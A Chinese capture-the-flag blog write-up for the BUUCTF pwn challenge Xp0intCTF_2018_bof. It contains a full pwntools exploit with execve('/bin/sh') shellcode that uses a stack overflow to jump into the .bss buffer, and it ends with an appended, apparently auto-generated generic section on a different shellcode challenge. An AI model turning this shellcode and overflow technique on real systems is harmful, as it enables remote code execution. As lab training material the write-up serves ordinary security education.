BUUCTF pwn Xp0intCTF_2018_bof

博客介绍了利用Python进行程序漏洞攻击的方法。先查看程序保护,发现基本保护未开启,用IDA查看程序流程,发现读入字符及NAME位置,fun1函数存在栈溢出漏洞。主要思路是在NAME处读入shellcode,利用栈溢出控制程序返回到NAME处。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

查看程序保护
在这里插入图片描述
保护基本都没开

IDA打开查看程序流程
在这里插入图片描述
读入0x18个字符,NAME位置在bss段
在这里插入图片描述
然后程序进入到fun1函数,有明显的栈溢出漏洞,溢出长度为0x10,正好可以控制返回地址
在这里插入图片描述
主要思想:基本保护都没开,那么可以先在NAME处读入shellcode。后面进入到fun1函数里,利用栈溢出控制程序返回到NAME处

这里shellcode长度最多为0x18
那么可以用

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

完整ex

from pwn import *
context(log_level='debug',arch='amd64')

#io=process("./Xp0intCTF_2018_bof")
io=remote("node3.buuoj.cn",25451)

io.recv()

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
io.send(shellcode)

io.recv()

name_bss=0x404070

payload=b'A'*0x20+b'B'*0x8+p64(name_bss)

io.send(payload)

io.interactive()
### BUUCTF Pwn Others_shellcode 解题思路 #### 题目概述 此题目属于PWN类别中的shellcode编写挑战。目标是在给定环境中执行任意代码,通常通过构造特定的机器码来实现这一目的[^1]。 #### 环境准备 为了成功完成该挑战,需了解所使用的`libc`版本特性以及其对应的函数偏移地址等信息。这有助于定位并利用可能存在的漏洞点。此外,还需掌握基本的反汇编技能以便理解二进制文件的工作原理。 #### 漏洞分析 通过对程序逻辑的研究发现存在一处可以被攻击者控制的数据输入路径。当用户提交恶意构造的数据时,能够覆盖返回地址从而改变正常流程指向自定义指令序列的位置。这种技术被称为“Return-Oriented Programming (ROP)” 或直接注入 shellcode 执行。 #### Shellcode 构建 考虑到现代操作系统防护机制如NX bit 和 ASLR 的存在,在构建有效载荷时需要特别注意避开非法字符以免破坏栈结构完整性。同时也要考虑如何绕过这些安全措施以确保 payload 成功运行。一种常见做法是从内存中寻找可写区域作为跳转目标,并在那里放置精心设计过的 machine code 来打开 shell 或连接远程服务器发送 flag。 ```python from pwn import * context.arch = 'amd64' context.os = 'linux' # 连接至服务端口 conn = remote('challenge_address', port_number) # 发送payload前先读取一些数据防止阻塞 conn.recvuntil(b'Input your choice:') ``` #### Exploit 实现 最终解决方案涉及多个部分协同工作:首先是找到合适的 gadget 组合用于泄露 libc 基址;其次是计算出 system() 函数的确切位置;最后则是巧妙安排参数传递方式使得 execve("/bin/sh", ...) 能够被执行。整个过程要求精确控制每一步操作以达到预期效果而不触发任何异常终止条件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值